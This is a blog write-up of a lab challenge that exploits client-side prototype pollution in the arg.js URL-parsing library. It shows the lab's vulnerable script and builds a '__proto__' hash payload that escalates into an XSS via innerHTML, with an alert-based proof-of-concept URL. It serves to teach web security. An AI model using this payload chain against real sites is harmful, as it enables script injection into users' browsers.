Skip to main content

Yadhu's Blog

Exploiting Client-side Prototype Pollution - arg.js

Table of Contents

First of all, a big shoutout to the challenge author. All the challenges in this set are available here.


## Analysis

Going through the challenge source, we can see that two JavaScript files are imported.

1
2
    <script src="https://raw.githack.com/stretchr/arg.js/master/dist/arg-1.4.js"></script>
    <script src="js/main.js"></script>

arg-1.4.js is a popular library for parsing URL parameters. And main.js has the following content.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
let data = {
    small: "Hi, there!",
    big: "Hello, world!"
}

const vuln = document.querySelector("#vuln");
let queryStrings = window.location.search;
let params = new URLSearchParams(queryStrings);

let vulnParams = () => {
    let fragments = Arg.parse(location.hash.substr(1));
    if(data[params.get("type")] !== undefined) vuln.innerHTML = "<h2>"+data[params.get("type")]+"</h2";
    else vuln.innerHTML = "<h2>This region seems like something you need to look at.</h2>";
}

window.onhashchange = () => {
    vulnParams();
}

vulnParams();

We can see that main.js uses Arg library to parse location.hash and uses URLSearchParams to parse query strings.

A function vulnParams is defined that does the following:

  1. Parses location.hash using Arg library.
  2. Tries to check if type (which is parsed using URLSearchParams) is a defined in data.
  3. Update the content of vuln with the contents of data[type]

This initially seems to be safe as there is no way to control the data being injected into the HTML. Accessing https://ppvl.whoisbinit.me/lab2/?type=big#big gives an expected result.


## Exploit 💥

arg.js is vulnerable to prototype pollution. You can read more about it here. This repository has a collection of client side prototype pollution bugs with popular libraries.

We have a similar scenario as mentioned in the PoC. The only difference is that, Arg.parse takes location.hash.substr(1) as parameter.

With #__proto__[exploit]=polluted, we can pollute the prototype. With this, window.exploit and data.exploit will have a value polluted.

Now, we need to escalate this into an XSS. For that, we have,

1
2
if(data[params.get("type")] !== undefined) 
	vuln.innerHTML = "<h2>"+data[params.get("type")]+"</h2";

We can see that the value of data[<x>] is appended directly to HTML, and <x> could be controlled. Utilizing the prototype pollution that we have previously identified, we have:

1
?type=exploit#__proto__[exploit]=<img src=x onerror=alert(document.domain) />

## Final Payload

1
https://ppvl.whoisbinit.me/lab2/?type=exploit#__proto__[exploit]=%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%20/%3E

Thanks for reading. 👋